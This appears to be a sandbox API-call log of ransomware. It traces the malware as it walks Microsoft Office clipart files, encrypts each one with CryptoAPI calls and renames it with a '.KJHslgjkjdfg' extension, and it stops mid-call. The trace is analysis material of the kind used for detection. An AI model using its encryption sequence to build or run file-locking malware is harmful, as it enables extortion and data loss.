[0188.372] GetProcessHeap () returned 0x990000 [0188.372] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.372] GetProcessHeap () returned 0x990000 [0188.372] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.kjhslgjkjdfg")) returned 1 [0188.374] CloseHandle (hObject=0x130) returned 1 [0188.374] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0188.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.374] GetProcessHeap () returned 0x990000 [0188.374] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.374] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.375] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.377] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.377] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.377] GetProcessHeap () returned 0x990000 [0188.377] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.377] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.377] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.377] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.377] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.377] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.377] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.377] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.377] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.378] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.378] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7e8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7e8, lpOverlapped=0x0) returned 1 [0188.378] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7f0) returned 1 [0188.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.378] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7f0, lpOverlapped=0x0) returned 1 [0188.378] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.378] SetEndOfFile (hFile=0x130) returned 1 [0188.381] GetProcessHeap () returned 0x990000 [0188.381] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.381] GetProcessHeap () returned 0x990000 [0188.381] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.381] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.kjhslgjkjdfg")) returned 1 [0188.382] CloseHandle (hObject=0x130) returned 1 [0188.382] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0188.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.382] GetProcessHeap () returned 0x990000 [0188.382] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.383] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.383] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.385] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.385] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.385] GetProcessHeap () returned 0x990000 [0188.385] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.385] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.385] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.385] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.385] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.385] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.385] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.386] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.386] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.386] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.386] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x824, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x824, lpOverlapped=0x0) returned 1 [0188.386] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x830, dwBufLen=0x830 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x830) returned 1 [0188.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.386] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x830, lpOverlapped=0x0) returned 1 [0188.387] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.387] SetEndOfFile (hFile=0x130) returned 1 [0188.388] GetProcessHeap () returned 0x990000 [0188.388] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.388] GetProcessHeap () returned 0x990000 [0188.388] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.kjhslgjkjdfg")) returned 1 [0188.389] CloseHandle (hObject=0x130) returned 1 [0188.390] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0188.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.391] GetProcessHeap () returned 0x990000 [0188.391] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.391] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.391] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.393] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.393] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.393] GetProcessHeap () returned 0x990000 [0188.393] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.393] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.393] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.393] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.393] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.394] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.394] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.394] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.394] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.394] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.394] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5a8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5a8, lpOverlapped=0x0) returned 1 [0188.394] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b0) returned 1 [0188.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.394] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5b0, lpOverlapped=0x0) returned 1 [0188.394] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.395] SetEndOfFile (hFile=0x130) returned 1 [0188.397] GetProcessHeap () returned 0x990000 [0188.397] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.397] GetProcessHeap () returned 0x990000 [0188.397] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.kjhslgjkjdfg")) returned 1 [0188.398] CloseHandle (hObject=0x130) returned 1 [0188.398] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0188.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.399] GetProcessHeap () returned 0x990000 [0188.399] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.399] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.401] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.401] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.401] GetProcessHeap () returned 0x990000 [0188.401] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.401] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.401] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.401] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.402] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.402] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.402] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.402] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.402] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.402] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.402] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbb4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbb4, lpOverlapped=0x0) returned 1 [0188.402] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbc0) returned 1 [0188.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.402] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbc0, lpOverlapped=0x0) returned 1 [0188.402] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.403] SetEndOfFile (hFile=0x130) returned 1 [0188.404] GetProcessHeap () returned 0x990000 [0188.404] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.404] GetProcessHeap () returned 0x990000 [0188.404] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.404] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.kjhslgjkjdfg")) returned 1 [0188.405] CloseHandle (hObject=0x130) returned 1 [0188.405] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0188.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 